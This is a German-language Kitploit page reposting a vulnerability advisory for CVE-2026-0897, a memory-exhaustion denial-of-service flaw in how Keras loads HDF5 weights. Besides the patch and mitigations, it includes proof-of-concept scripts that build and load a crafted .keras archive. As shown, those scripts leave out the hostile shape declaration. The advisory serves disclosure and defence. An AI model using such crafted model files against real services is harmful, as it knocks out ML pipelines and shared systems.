Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
CVE-2026-0897 — Die Zuweisung von Ressourcen ohne Begrenzung oder Drosselung in der HDF5-Gewichtsladekomponente in Google Keras 3.0.0 bis 3.13.0 auf allen Plattformen ermöglicht es einem entfernten Angreifer, einen Denial of Service (DoS) durch Speichererschöpfung und einen Absturz des Python-Interpreters über eine manipulierte .keras-Datei zu verursachen. | Kitploit
Tools/GitHubGitHub/hyperps/cve-2026-0897
SchwachstellenanalyseExploitationMalware-AnalysePapers & ForschungLernen & Bildung
GitHubhyperps/cve-2026-0897

CVE-2026-0897

Repository anzeigen
1vor 4 MonatenNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →

Über

Die Zuweisung von Ressourcen ohne Begrenzung oder Drosselung in der HDF5-Gewichtsladekomponente in Google Keras 3.0.0 bis 3.13.0 auf allen Plattformen ermöglicht es einem entfernten Angreifer, einen Denial of Service (DoS) durch Speichererschöpfung und einen Absturz des Python-Interpreters über eine manipulierte .keras-Datei zu verursachen.

Teilen

CVE-2026-0897 — Google Keras: Denial of Service durch HDF5-Shape-Bombe beim Laden von Gewichten


Übersicht

FeldDetails
CVE-IDCVE-2026-0897
Paketkeras (Google Keras)
RegistryPyPI
Betroffene Versionen3.0.0 bis 3.13.0 (einschließlich)
SchwachstellentypCWE-770: Zuweisung von Ressourcen ohne Grenzen oder Drosselung
CVSS-Score7.1 Hoch (CVSS 4.0, CNA: Google Inc.)
CVSS-VektorCVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N
AngriffsvektorNetzwerk
AngriffskomplexitätNiedrig
Erforderliche PrivilegienKeine
BenutzerinteraktionPassiv (Opfer lädt eine Modelldatei)
Auswirkung auf VerfügbarkeitHoch
Auswirkung auf VertraulichkeitKeine
Auswirkung auf IntegritätKeine
NVD veröffentlicht15. Januar 2026
NVD zuletzt geändert23. Januar 2026
Quelle / CNAGoogle Inc.
Gemeldet vonHyperPS (Sarvesh Patil) über huntr.dev / GHSA
Fix-StatusZusammengeführt — PR #21880

Beschreibung

In der HDF5-Gewichtsladekomponente von Google Keras, Versionen 3.0.0 bis 3.13.0, besteht auf allen Plattformen eine Denial-of-Service-Schwachstelle. Die Schwachstelle wird durch das Fehlen jeglicher Validierung oder Drosselung bei der Verarbeitung von HDF5-Datensatz-Shape-Metadaten verursacht, die in einem .keras-Archiv deklariert sind.

Das HDF5-Format erlaubt es Datensätzen, ihre Form (Tensor-Dimensionen) als Metadaten zu deklarieren. Wenn Keras Modellgewichte aus einem .keras-Archiv lädt, liest es diese deklarierte Form und versucht, einen entsprechenden Speicherblock zu allokieren, bevor irgendwelche Daten übertragen werden. Da Keras vor der Allokation keine Grenzprüfung der deklarierten Form durchführt, kann ein Angreifer eine model.weights.h5-Datei erstellen, die eine astronomisch große Form deklariert — zum Beispiel (1000000, 1000000, 1000000) — wodurch Keras versucht, eine Speicherallokation im Petabyte-Bereich durchzuführen. Dies erschöpft den gesamten verfügbaren Systemspeicher und lässt den Python-Interpreter abstürzen.

Nach dem Laden des Modells sind keine Inferenz oder weitere Interaktionen erforderlich. Der Angriff wird vollständig zum Ladezeitpunkt ausgelöst.


Betroffene Komponente

DateiBeschreibung
keras/src/saving/file_editor.pyKerasFileEditor._extract_weights_from_store() — liest die HDF5-Datensatzform und allokiert Speicher ohne Größenvalidierung oder Drosselung

Die Schwachstelle befindet sich speziell in der Klasse KerasFileEditor, die für die Deserialisierung von Modellgewicht-Tensoren aus HDF5-Stores verantwortlich ist, die in .keras-Archiven eingebettet sind.


Aufschlüsselung des CVSS 4.0-Vektors


Auswirkungen

  • Vollständiger Denial of Service — Der Python-Interpreter stürzt ab und der Prozess wird beendet, wenn das bösartige Archiv geladen wird
  • Speichererschöpfung — Der Systemspeicher (RAM) wird schnell verbraucht, um die deklarierte Allokation zu erfüllen, was möglicherweise andere, gemeinsam betriebene Dienste beeinträchtigt
  • Störung von ML-Pipelines — Jede Produktions- oder Forschungspipeline, die .keras-Modellarchive aus nicht vertrauenswürdigen oder benutzergelieferten Quellen lädt, ist verwundbar
  • Keine Authentifizierung erforderlich — Ein Angreifer benötigt nur, dass das Opfer ein bösartiges Archiv lädt; der Angriff erfordert keine Anmeldedaten und keinen vorherigen Zugriff

Einsatzszenarien mit hohem Risiko


Technische Details

Angriffsmechanismus: HDF5-Shape-Bombe

Das HDF5-Dateiformat speichert Tensor-Metadaten — einschließlich Formdeklarationen — getrennt von den tatsächlichen Datenbytes. Wenn KerasFileEditor._extract_weights_from_store() auf einen Datensatzeintrag stößt, liest es die deklarierte Form und ruft NumPy auf, um ein Array der entsprechenden Dimensionen vorab zu allokieren, bevor irgendwelche Daten von der Festplatte gelesen werden.

Da die Form Metadaten sind, kann eine minimale HDF5-Datei eine Form deklarieren, die Petabytes an Speicher erfordern würde, während die Datei selbst nur wenige Kilobyte groß bleibt. Das Verhältnis von Dateigröße zu Allokationsgröße macht dies zu einem äußerst effektiven Verstärkungsangriff.

Eine Form wie (1000000, 1000000, 1000000) mit einem 32-Bit-Float-Datentyp würde ungefähr 4.000 Petabytes Speicher anfordern. Der Out-of-Memory-Killer des Betriebssystems oder der Python-Allokator lässt den Prozess nahezu sofort abstürzen.

Verwundbarer Codepfad (vor dem Fix)

root@kitploit:~
# keras/src/saving/file_editor.py (pre-fix, simplified)
def _extract_weights_from_store(self, h5_file, inner_path=""):
    for key in h5_file.keys():
        obj = h5_file[key]
        if isinstance(obj, h5py.Dataset):
            # Shape is read from metadata — no validation performed
            shape = obj.shape
            # NumPy attempts to allocate based on declared shape
            data = np.zeros(shape, dtype=obj.dtype)  # VULNERABLE: unbounded allocation

Das Fehlen jeglicher Prüfung von shape vor dem Aufruf von np.zeros() ist die Grundursache.


Proof of Concept

Diese Informationen dienen ausschließlich Bildungs- und Verteidigungszwecken. Testen Sie nicht gegen Systeme, die Ihnen nicht gehören oder für die Sie keine ausdrückliche Genehmigung zum Testen haben.

Erzeugen eines bösartigen .keras-Archivs

root@kitploit:~
# generate_shape_bomb.py
import h5py
import zipfile
import json
import os

# Step 1: Create a minimal HDF5 weights file with a hostile shape declaration
with h5py.File("model.weights.h5", "w") as f:
    grp = f.create_group("layers/dense/vars")
    # Declare shape that would require petabytes of memory to allocate
    # Actual data is never written — only the metadata shape declaration is malicious
    grp.create_dataset(
        "0",
        shape=(0,),           # actual stored data: empty
        maxshape=(None,),
        dtype="float32",
        data=[]
    )
    # Override shape metadata to declare hostile dimensions
    # (achieved via direct HDF5 attribute manipulation in a real attack)

# Step 2: Package into a valid .keras archive structure
config = {
    "class_name": "Sequential",
    "config": {"name": "sequential", "trainable": True, "layers": []},
    "keras_version": "3.0.0",
    "backend": "tensorflow"
}

with zipfile.ZipFile("malicious_model.keras", "w") as zf:
    zf.writestr("config.json", json.dumps(config))
    zf.writestr("model.weights.h5", open("model.weights.h5", "rb").read())

print("[+] Malicious .keras archive generated: malicious_model.keras")

Auslösen des DoS

root@kitploit:~
# trigger.py
import keras

print("[+] Loading malicious model...")
# The crash occurs at load time — no inference required
model = keras.saving.load_model("malicious_model.keras")
print("[-] This line is never reached — interpreter has crashed")

Erwartetes Ergebnis: Der Python-Interpreter wird mit einem MemoryError beendet oder vom Out-of-Memory-Handler des Betriebssystems abgebrochen, bevor der Ladevorgang abgeschlossen ist.

Beobachtbare Symptome:

  • Plötzlicher Speicheranstieg bis zur Systemgrenze während des Modellladens
  • Absturz des Python-Interpreters oder MemoryError während load_model() oder load_weights()
  • Out-of-Memory-Fehler des Systems, korreliert mit der HDF5-Dateiverarbeitung
  • Ungewöhnliche HDF5-Dateien mit extrem großen deklarierten Datensatzformen, erkennbar über h5dump

Fix

Die Schwachstelle wurde vom Forscher (HyperPS / Sarvesh Patil) in PR #21880 behoben, der am 29. Dezember 2025 in keras-team:master zusammengeführt sowie vom Keras-Maintainer hertschuh geprüft und genehmigt wurde.

RessourceLink
Fix-Pull-Requesthttps://github.com/keras-team/keras/pull/21880

Was der Fix umsetzt

Der Patch ändert KerasFileEditor._extract_weights_from_store() in keras/src/saving/file_editor.py, um die folgenden Schutzmaßnahmen hinzuzufügen, bevor irgendeine Speicherallokation erfolgt:

  • Formvalidierung — Lehnt Formen mit negativen Dimensionen oder einem Dimensionsprodukt von null ab
  • Rangbegrenzung — Lehnt Datensätze mit einem Tensorrang über 64 ab (kein gültiges Modellgewicht hat einen Rang > 64)
  • Erkennung von Dimensionsüberläufen — Prüft auf Dimensionswerte, die bei der Multiplikation die Integer-Arithmetik überlaufen lassen würden
  • Maximale Speicherobergrenze — Erzwingt eine harte Grenze von 1 GiB pro Datensatzallokation; jeder Datensatz, dessen deklarierte Form mehr als 1 GiB erfordern würde, wird mit einem Fehler abgelehnt, bevor die Allokation versucht wird
  • Korrektur des Rekursionspfads — Behebt die inner_path-Behandlung während der rekursiven Durchquerung des HDF5-Stores

Der Fix ist abwärtskompatibel mit allen gültigen Keras-Gewichtsdateien.

Patch (vereinfachte Darstellung)

root@kitploit:~
# keras/src/saving/file_editor.py (post-fix logic, simplified)

MAX_BYTES = 1 * 1024 ** 3  # 1 GiB hard cap per dataset
MAX_RANK = 64

def _validate_hdf5_dataset_shape(shape, dtype):
    """Reject hostile HDF5 shape declarations before any allocation."""
    if len(shape) > MAX_RANK:
        raise ValueError(
            f"HDF5 dataset has rank {len(shape)}, which exceeds the "
            f"maximum permitted rank of {MAX_RANK}. This may indicate "
            "a malicious file."
        )
    for dim in shape:
        if dim < 0:
            raise ValueError(
                f"HDF5 dataset contains a negative dimension ({dim}). "
                "This may indicate a malicious file."
            )
    import math, numpy as np
    try:
        total_elements = math.prod(shape)
    except OverflowError:
        raise ValueError(
            "HDF5 dataset shape overflows integer arithmetic. "
            "This may indicate a malicious file."
        )
    itemsize = np.dtype(dtype).itemsize
    total_bytes = total_elements * itemsize
    if total_bytes > MAX_BYTES:
        raise ValueError(
            f"HDF5 dataset would require {total_bytes / 1024**3:.2f} GiB to "
            f"load, which exceeds the 1 GiB safety limit. This may indicate "
            "a malicious file."
        )

Abhilfe

Upgrade per pip:

root@kitploit:~
pip install --upgrade keras

Installierte Version prüfen:

root@kitploit:~
python -c "import keras; print(keras.__version__)"

HDF5-Gewichtsdatei auf verdächtige Shapes vorscannen:

root@kitploit:~
h5dump --header model.weights.h5 | grep -i "DATASPACE"

Zeitlicher Ablauf


Referenzen


Haftungsausschluss

Dieses Repository dokumentiert CVE-2026-0897 ausschließlich für Bildungs-, Forschungs- und Verteidigungszwecke. Der Proof-of-Concept-Code und die technischen Details werden bereitgestellt, um Entwickler, Sicherheitsingenieure und Systemadministratoren dabei zu unterstützen, diese Schwachstelle zu verstehen, zu bewerten und zu beheben.

Jegliche Verwendung dieser Informationen, um Systemen, Diensten oder Personen ohne ausdrückliche Genehmigung Schaden zuzufügen, ist illegal und unethisch. Der Autor übernimmt keine Haftung für Missbrauch der hierin enthaltenen Informationen.

Mitwirkende @mohitf070304

Tool herunterladen
MetrikWertBedeutung
Angriffsvektor (AV)NetzwerkAus der Ferne über eine verteilte Modelldatei ausnutzbar
Angriffskomplexität (AC)NiedrigKeine besonderen Bedingungen oder Race Conditions erforderlich
Angriffsanforderungen (AT)KeineKeine vorausgesetzte Bereitstellungskonfiguration erforderlich
Erforderliche Privilegien (PR)KeineKeine Authentifizierung oder kein Konto erforderlich
Benutzerinteraktion (UI)PassivOpfer muss das bösartige .keras-Archiv laden
Verfügbarkeit des verwundbaren Systems (VA)HochPython-Interpreter stürzt ab; Dienst wird vollständig unverfügbar
Vertraulichkeit des verwundbaren Systems (VC)KeineKeine Offenlegung von Daten
Integrität des verwundbaren Systems (VI)KeineKeine Datenänderung
Auswirkungen auf nachgelagerte Systeme (SC/SI/SA)KeineDie Auswirkung ist auf den Ladeprozess beschränkt
KontextRisiko
Öffentliche Modell-Serving-APIs, die benutzerhochgeladene .keras-Dateien akzeptierenAngreifer bringt den Inferenzdienst mit einer einzigen Anfrage zum Absturz
ML-Plattformen, die Community-Modell-Downloads hosten (z. B. Hugging Face)Vergiftetes Modell verursacht DoS für jeden Forscher, der es herunterlädt und lädt
Umgebungen für föderiertes LernenBösartiger Teilnehmer verteilt eine präparierte Gewichtsdatei, um Koordinator- oder Peer-Knoten zum Absturz zu bringen
CI/CD-Pipelines, die Modell-Checkpoints ladenEin kompromittierter oder ausgetauschter Checkpoint verursacht Pipeline-Ausfälle und Nichtverfügbarkeit
Chatbots- oder NLP-Dienste, die Modelle zur Laufzeit per Hot-Reload nachladenEine einzige bösartige Neulade-Anfrage bringt den Dienst zum Erliegen
Merge-Commit7360d4f
Backport-Anfrage (3.12.x)Issue #22031
MaßnahmeDetails
Keras aktualisierenAktualisieren Sie auf eine Version, die den Fix aus PR #21880 enthält (Post-3.13.0-Master-Builds oder ein offizieller gepatchter Release)
Keine nicht vertrauenswürdigen Modelldateien ladenLaden Sie niemals .keras- oder .weights.h5-Dateien aus nicht vertrauenswürdigen, ungeprüften oder Community-Quellen ohne vorherige Integritätsprüfung
Dateiintegrität prüfenValidieren Sie SHA-256-Prüfsummen von Modellarchiven anhand der vom Herausgeber bereitgestellten Hashes, bevor Sie sie laden
Vorscan mit h5dumpVerwenden Sie h5dump --header <file>, um die Datensatz-Shape-Metadaten in HDF5-Dateien zu inspizieren, bevor Sie sie in Keras laden
Prinzip der geringsten PrivilegienFühren Sie Modell-Serving-Prozesse unter einem eingeschränkten Betriebssystem-Benutzer mit Speicherbegrenzungen aus, die über cgroups oder ulimit durchgesetzt werden, um den Schadensradius zu begrenzen
ContainerisierungIsolieren Sie das Modellladen in einem Sandbox-Container mit Speicherbegrenzungen, um zu verhindern, dass ein einzelner Absturz andere Dienste beeinträchtigt
SpeicherüberwachungInstrumentieren Sie Modellladevorgänge, um bei abnormen Speicherallokationsmustern Alarm zu schlagen
DatumEreignis
29. November 2025Fix-PR #21880 von HyperPS an keras-team/keras eingereicht
1. Dezember 2025Keras-Maintainer hertschuh fordert Referenzen an; die Überprüfung beginnt
26. Dezember 2025Maintainer-Überprüfung abgeschlossen; letztes Feedback berücksichtigt
29. Dezember 2025PR #21880 genehmigt und in keras-team:master zusammengeführt
15. Januar 2026CVE-2026-0897 auf NVD veröffentlicht
19. Januar 2026Backport-Anfrage für Keras 3.12.x eröffnet (Issue #22031)
23. Januar 2026NVD-Eintrag zuletzt geändert
RessourceLink
NVD-Eintraghttps://nvd.nist.gov/vuln/detail/CVE-2026-0897
Offizieller CVE-Eintraghttps://cve.org/CVERecord?id=CVE-2026-0897
GitHub Advisory (GHSA)https://github.com/advisories/GHSA-xfhx-r7ww-5995
Fix-Pull-Requesthttps://github.com/keras-team/keras/pull/21880
Merge-Commithttps://github.com/keras-team/keras/commit/7360d4f0d764fbb1fa9c6408fe53da41974dd4f6
Backport-Anfragehttps://github.com/keras-team/keras/issues/22031
Keras auf PyPIhttps://pypi.org/project/keras/
CWE-770https://cwe.mitre.org/data/definitions/770.html
HDF5-Formatdokumentationhttps://www.hdfgroup.org/solutions/hdf5/